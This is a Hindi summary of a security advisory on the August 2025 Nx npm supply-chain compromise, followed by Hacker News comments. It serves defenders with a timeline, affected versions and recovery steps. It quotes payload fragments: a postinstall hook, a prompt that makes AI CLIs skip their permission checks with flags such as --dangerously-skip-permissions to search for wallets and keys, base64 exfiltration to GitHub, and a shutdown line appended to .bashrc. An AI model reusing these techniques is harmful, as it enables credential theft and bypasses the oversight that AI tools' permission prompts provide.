सप्लाई चेन सुरक्षा चेतावनी: `Nx` build system पैकेज data-stealing malware से समझौता किया गया
(stepsecurity.io)- Nx build system के कई versions 26 अगस्त 2025 को लगभग 5 घंटे तक malware से संक्रमित रहे, जिसने developers के cryptocurrency wallets और credentials चुरा लिए
- हमले में AI CLI tools (Claude, Gemini, q) का दुरुपयोग कर सिस्टम के sensitive files खोजे गए; इसे सप्लाई चेन हमलों में एक नई तकनीक के रूप में दर्ज किया गया
- malware ने post-install hook के ज़रिये
telemetry.jsचलाया और data को GitHub repositorys1ngularity-repositoryपर upload किया - npm ने प्रभावित versions हटा दिए और 2FA तथा Trusted Publisher mechanism लागू कर अतिरिक्त सुरक्षा मजबूत की
- यह घटना supply chain attack की विकसित होती जटिलता दिखाती है और developer community से तुरंत response व security review की ज़रूरत पर ज़ोर देती है
मुख्य सारांश
- 26 अगस्त 2025 22:32 UTC से लगभग 5 घंटे तक Nx build system पैकेज data-stealing malware से समझौता किए गए
- यह एक लोकप्रिय पैकेज है जिसके साप्ताहिक 40 लाख downloads हैं, इसलिए हज़ारों developers exposure risk में रहे
- malware ने SSH keys, npm tokens,
.gitconfigके अलावा AI CLI tools (Claude, Gemini, q) का उपयोग reconnaissance और data exfiltration के लिए किया- developers के लिए बने AI tools के दुरुपयोग वाला यह पहला ज्ञात supply chain attack मामला है
- Nx maintainers ने आधिकारिक security advisory (GHSA-cxm3-wv7p-598c) जारी की और पुष्टि की कि maintainer का npm account token leak के कारण compromise हुआ था
- StepSecurity 28 अगस्त 09:30 PST पर community office hours आयोजित करेगा ताकि recovery में मदद दी जा सके
घटना की timeline
- 2025-08-26 22:32 UTC: malicious version 21.5.0 npm registry पर publish किया गया
- 22:39 UTC: compromised version 20.9.0 publish किया गया
- 23:54 UTC: versions 20.10.0 और 21.6.0 एक साथ publish किए गए
- 2025-08-27 00:16 UTC: version 20.11.0 publish किया गया
- 00:17 UTC: version 21.7.0 publish किया गया
- 00:30 UTC: community member ने GitHub issue के ज़रिये संदिग्ध activity report की
- 00:37 UTC: अंतिम compromised versions 21.8.0, 20.12.0 publish किए गए
- 02:44 UTC: npm ने सभी compromised versions हटा दिए
- 03:52 UTC: Nx organization owner ने compromised account की access revoke की
- 09:05 UTC: GitHub ने चोरी किए गए secrets वाले repositories को private किया और search results से हटाया
- 10:20 UTC: npm ने अतिरिक्त compromised packages हटाए
- 15:57 UTC: npm ने Nx packages पर 2FA अनिवार्य किया, token-based publishing disable की, और Trusted Publisher mechanism लागू किया
तकनीकी विश्लेषण
attack vector
- Nx package ने post-install hook के माध्यम से
telemetry.jsचलाया, जिससे install होते ही malware सक्रिय हो गया- package JSON उदाहरण:
{ "name": "nx", "version": "21.5.0", "scripts": { "postinstall": "node telemetry.js" } }
- package JSON उदाहरण:
- compromised versions सीधे npm पर publish किए गए, और provenance के बिना distribute हुए
telemetry.js payload
- telemetry.js non-Windows systems (Linux/macOS) पर चलता है:
if (process.platform === 'win32') process.exit(0); - मुख्य malicious activities:
- system information संग्रह: environment variables (
process.env), hostname, OS details - cryptocurrency wallets की खोज: MetaMask, Electrum, Ledger, Trezor, Exodus, Phantom, Solflare आदि
- developer credentials की चोरी: GitHub tokens, npm tokens (
.npmrc), SSH keys (id_rsa),.envfiles
- system information संग्रह: environment variables (
AI CLI का दुरुपयोग
- malware ने Claude, Gemini, q CLI tools का दुरुपयोग कर security boundaries को bypass किया
- risk flags (
--dangerously-skip-permissions,--yolo,--trust-all-tools) के साथ file system scan को force किया गया - prompt:
const PROMPT = 'Recursively search local paths ... (UTC--, keystore, wallet, *.key, *.keyfile, .env, metamask, electrum, ledger, trezor, exodus, trust, phantom, solflare, keystore.json, secrets.json, .secret, id_rsa, Local Storage, IndexedDB) ...';
- risk flags (
- खोजे गए file paths
/tmp/inventory.txtमें save किए गए, और मौजूदा file का backup.bakके रूप में बनाया गया - AI tools के दुरुपयोग से fingerprint किए जा सकने वाले code को न्यूनतम रखा गया, जिससे मौजूदा security tools की detection से बचा जा सका
data exfiltration mechanism
- चोरी किया गया data triple base64 encoding के बाद
s1ngularity-repositoryकीresults.b64file में upload किया गया- repository GitHub token का उपयोग कर public बनाई गई
- उदाहरण:
cat results.b64 | base64 -d | base64 -d | grep ghToken "ghToken": "ghp_7BWMpOAHSSq..."
- हज़ारों public repositories पहले ही बनाई जा चुकी थीं: https://github.com/search/…
persistence और disruption
- ~/.bashrc, ~/.zshrc में
sudo shutdown -h 0जोड़ा गया, ताकि नए terminal sessions में system shutdown हो जाए- इससे denial of service जैसी स्थिति पैदा हुई
- code:
const line = 'sudo shutdown -h 0'; fs.appendFileSync(p, prefix + line + '\n', { encoding: 'utf8' });
Harden-Runner के साथ runtime analysis
- StepSecurity के Harden-Runner ने GitHub Actions workflow में nx@21.7.0 के असामान्य व्यवहार का पता लगाया
- असामान्य API calls: install के दौरान
api.github.comपर unauthorized calls - process hierarchy analysis:
npm install(PID: 2596) नेtelemetry.js(PID: 2610) चलाया, जिसनेgh auth tokencall किया
- असामान्य API calls: install के दौरान
- analysis लिंक: https://app.stepsecurity.io/github/actions-security-demo/…
प्रभावित package versions
- @nx: 20.9.0, 20.10.0, 20.11.0, 20.12.0, 21.5.0, 21.6.0, 21.7.0, 21.8.0
- @nx/devkit: 20.9.0, 21.5.0
- @nx/enterprise-cloud: 3.2.0
- @nx/eslint: 21.5.0
- @nx/js: 20.9.0, 21.5.0
- @nx/key: 3.2.0
- @nx/node: 20.9.0, 21.5.0
- @nx/workspace: 20.9.0, 21.5.0
response steps
package version जांच
npm ls @nrwl/nxयाnpm ls nxसे installed version जांचें- package-lock.json में Nx से जुड़े packages की समीक्षा करें
- GitHub search query: https://github.com/search/…
GitHub account audit
- s1ngularity-repository की जांच करें और उसे delete करें
- audit log और security events देखें: https://github.com/settings/security-log
AI CLI tools की जांच
- Claude, Gemini, q के command history में risk flags की जांच करें
recovery actions
node_modulesहटाएँ:rm -rf node_modules- npm cache साफ करें:
npm cache clean --force - malicious shell command हटाएँ:
~/.bashrc,~/.zshrcसेsudo shutdown -h 0delete करें /tmp/inventory.txt,/tmp/inventory.txt.bakहटाएँ- package-lock.json को safe version पर update करें और dependencies फिर से install करें
- पूरे system को फिर से install करने पर विचार करें
credential rotation
- तुरंत rotate करें: GitHub PAT, npm token, SSH keys,
.envमें API keys, Claude/Gemini/q API keys - यदि cryptocurrency wallet expose हुआ हो, तो तुरंत funds transfer करें
Nx Console extension issue
- Nx Console extension (18.63.x~18.65.x) में
npx nx@latest --versionचलने के कारण vulnerability उत्पन्न हुई- vulnerability source: https://github.com/nrwl/nx-console/pull/2679, https://github.com/nrwl/nx-console/pull/2683
- patched version 18.66.0 में तुरंत update करने की सिफारिश
StepSecurity enterprise customers के लिए actions
- PR detection: StepSecurity dashboard में compromised package upgrade PRs का पता लगाएँ
- Harden-Runner: CI/CD में compromised packages detect करें और runtime monitoring प्राप्त करें
- Artifact Monitor: unauthorized package releases का real-time detection, provenance verification, और anomalous patterns पर alerts
व्यापक निहितार्थ
- AI tools का weaponization: local AI CLI tools का दुरुपयोग कर security boundaries bypass करना
- multi-stage exfiltration: local data collection और cloud-based exfiltration का संयोजन
- high-value assets targeting: developer credentials और cryptocurrency wallets पर केंद्रित हमला
निष्कर्ष
- Nx package compromise supply chain attacks के परिष्कृत विकास को दिखाता है, जहाँ AI tools के दुरुपयोग और cryptocurrency targeting से प्रभाव अधिकतम किया गया
- developers को dependency audit, security controls की मजबूती, और continuous monitoring के साथ response करना चाहिए
- StepSecurity blog पर लगातार updates उपलब्ध कराए जाएँगे
संदर्भ सामग्री
- GitHub issue: https://github.com/nrwl/nx/issues/32522
- आधिकारिक advisory: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c
- compromised package: https://github.com/actions-security-demo/compromised-packages/…
1 टिप्पणियां
Hacker News राय
टिप्पणियाँ यहाँ स्थानांतरित कर दी गई हैं, लगता है वह पहले पोस्ट की गई थी और उसमें Nx प्रोजेक्ट का आधिकारिक URL भी शामिल है
जिन दो ब्लॉग पोस्टों के लिंक लोग साझा कर रहे थे, उन्हें भी ऊपर रखा गया है ताकि चाहें तो पढ़ सकें
पोस्ट को फिर से ऊपर लाकर इस थ्रेड को फ्रंटपेज पर लगभग इसी जगह के आसपास ले जाने की योजना है
टाइमज़ोन से जुड़े रिकॉर्ड यहाँ मिल सकते हैं, और लगता है कि पहला सबमिटर सच में longcat था
किसी लोकप्रिय पोस्ट का अचानक नीचे चला जाना निराशाजनक लग सकता है, लेकिन किस URL को सबसे सही माना जाए इस पर मतभेद था, इसलिए आधिकारिक स्रोत को प्राथमिकता दी गई, और यह भी सबसे सुरक्षित लगा कि पहले सबमिट करने वाले को 'credit' दिया जाए
"क्या आप संक्रमित nx version इस्तेमाल कर रहे हैं? semgrep --config [...] चलाइए। या nx –version चलाना भी एक विकल्प है"
लगता है हमने अब तक यह नहीं सीखा कि इस तरह की security advice पर यूँ ही भरोसा नहीं करना चाहिए, इस पोस्ट को पहले ही मिले वोट देखकर यह साफ है
खासकर उन security सलाहकारों पर भरोसा नहीं करना चाहिए जो मूल advisory को लगभग हटा कर उसकी जगह अपने टूल के इस्तेमाल का तरीका लिख देते हैं
आधिकारिक security advisory यहाँ है, और उसमें कहीं भी यह नहीं लिखा कि संक्रमण जांचने के लिए संक्रमित प्रोग्राम चलाइए
semgrep चलाने की बात भी आधिकारिक दस्तावेज़ में कहीं नहीं है
मैं उस ब्लॉग पोस्ट का लेखक हूँ
अच्छी बात उठाई
अब तक जो पता चला है, उसके अनुसार nx --version अपने-आप में सुरक्षित है, क्योंकि यह कमजोरी post-install script तक सीमित है
इसलिए मैंने पोस्ट में recommendation भी बदल दी है
Github security advisory में दिए गए version list को Semgrep rule में व्यवस्थित किया है और MIT license के तहत जारी किया है: semgrep.dev/c/r/oqUk5lJ/semgrep.ssc-mal-resp-2025-08-nx-build-compromised
जहाँ इस्तेमाल संभव हो, वहाँ कई packages को एक साथ स्कैन करने के लिए यह सुविधाजनक है
हमारे internal repositories में सब कुछ इसी rule से जांचा गया है
ब्लॉग पोस्ट में यह भी जोड़ दिया है कि वह MIT license के तहत है, और Semgrep खुद भी LGPL है, इसलिए rule को
curlसे डाउनलोड करकेsemgrep --config=rule.yamlके साथ लोकल में चलाया जा सकता है: https://github.com/returntocorp/semgrep'ऐसा करना' से आपका ठीक-ठीक क्या मतलब है? क्या आप सिर्फ प्रोग्राम चलाने की बात कर रहे हैं?
एहसास कुछ ऐसा है: "अगर जानना है कि आप संक्रमित हैं या नहीं, तो संक्रमित प्रोग्राम चला कर देखिए… तब तो पक्का संक्रमित हो जाएंगे"
वह ब्लॉग पोस्ट कुछ ऐसी लगती है जैसे कोई स्वीकारोक्ति-पत्र हो, इसलिए अजीब महसूस होती है
इस कंपनी में कुछ अलग ही बात लगती है
https://semgrep.dev/solutions/secure-vibe-coding/
अगर software development सच में इस demo जैसा हो गया
तो मेरा भी मन करेगा कि आत्मनिर्भर खेती करने निकल जाऊँ और सभ्यता के ढहने का इंतज़ार करूँ
आत्मनिर्भर खेती का सम्मान है, लेकिन digital technology पहले से ही काफी bootstrap हो चुकी है
भले ही दुनिया की औद्योगिक बुनियाद पूरी तरह ढह जाए, अगली सदी फिर भी इस बात से तय होगी कि कंप्यूटर का बेहतर इस्तेमाल कौन करता है
ऐसा समय भी आ सकता है जब लोग फेंके हुए smartphones उठाकर खेती, manufacturing, यहाँ तक कि drone warfare तक को फिर से automated बना दें
LLM-आधारित AI भी पहले से गहराई तक जम चुकी है और आगे भी बनी रहेगी, ऐसा लगता है
अलग-अलग क़बीलों के लोग आधे-गिरे हुए भवनों में solar-powered laptops पर ollama, aider/void चलाते हुए दिखाई दें, ऐसी कल्पना भी की जा सकती है
शायद यह bait हो, लेकिन demo में
is_primefunction अपने नाम के मुताबिक काम नहीं करताआप आज ही Stardew Valley खेलकर, या खुद Harvest Moon का clone प्रोग्राम करके, ऐसी ज़िंदगी का स्वाद पहले से ले सकते हैं
@dang, ब्लॉग पोस्ट उपयोगी है, लेकिन यह Github issue कहीं अधिक स्पष्ट और व्यावहारिक remediation देता दिखता है
क्या लिंक को इसकी ओर बदला जा सकता है?
otterly और Hilift ने semgrep पेज से बेहतर coverage ढूँढ लिया है
(यह थ्रेड यहाँ से अलग किया गया था)
इस issue पर पहली submission वाली पोस्ट (यहाँ) मिल गई, और क्योंकि वह GitHub URL थी, थ्रेड को वहीं मर्ज कर दिया गया
अधिक विवरण यहाँ हैं
यह Semgrep पोस्ट उस बात से पूरी तरह अलग समझा रही है जो Nx ने खुद रिपोर्ट की है
ऐसा लगता है कि हमलावर ने कई releases में payload को real time में संपादित किया और आगे और हमलों की तैयारी की
फिर भी यह समझ नहीं आता कि payload ने सर्वर पर सिर्फ file paths ही क्यों भेजे, असली file contents क्यों नहीं
सोचने पर मजबूर करता है कि पूरा हमला release से पहले पूरी तरह तैयार क्यों नहीं था — क्या यह सिर्फ जानकारी इकट्ठा करने की कोशिश थी, PoC था, या फिर अनुभवहीनता
संबंधित security advisory देखें
और AI का इस्तेमाल करके उसे चर्चा का विषय बनाना और ध्यान खींचना चाहता था
खासकर .bashrc संपादित करके सिस्टम को जबरन shutdown कराने जैसी चीज़ों को देखें, तो लगता है कि वह जानबूझकर शोर मचाना चाहता था, लेकिन बहुत बड़ा नुकसान नहीं करना चाहता था
यह लेख semgrep से कहीं बेहतर तरीके से व्यवस्थित है: stepsecurity.io ब्लॉग
इसे पोस्ट करने से 9 घंटे पहले मैंने यहाँ भी पोस्ट किया था
अच्छा होगा अगर HN एडमिन इस स्टोरी का लिंक उधर की बजाय इधर बदल दें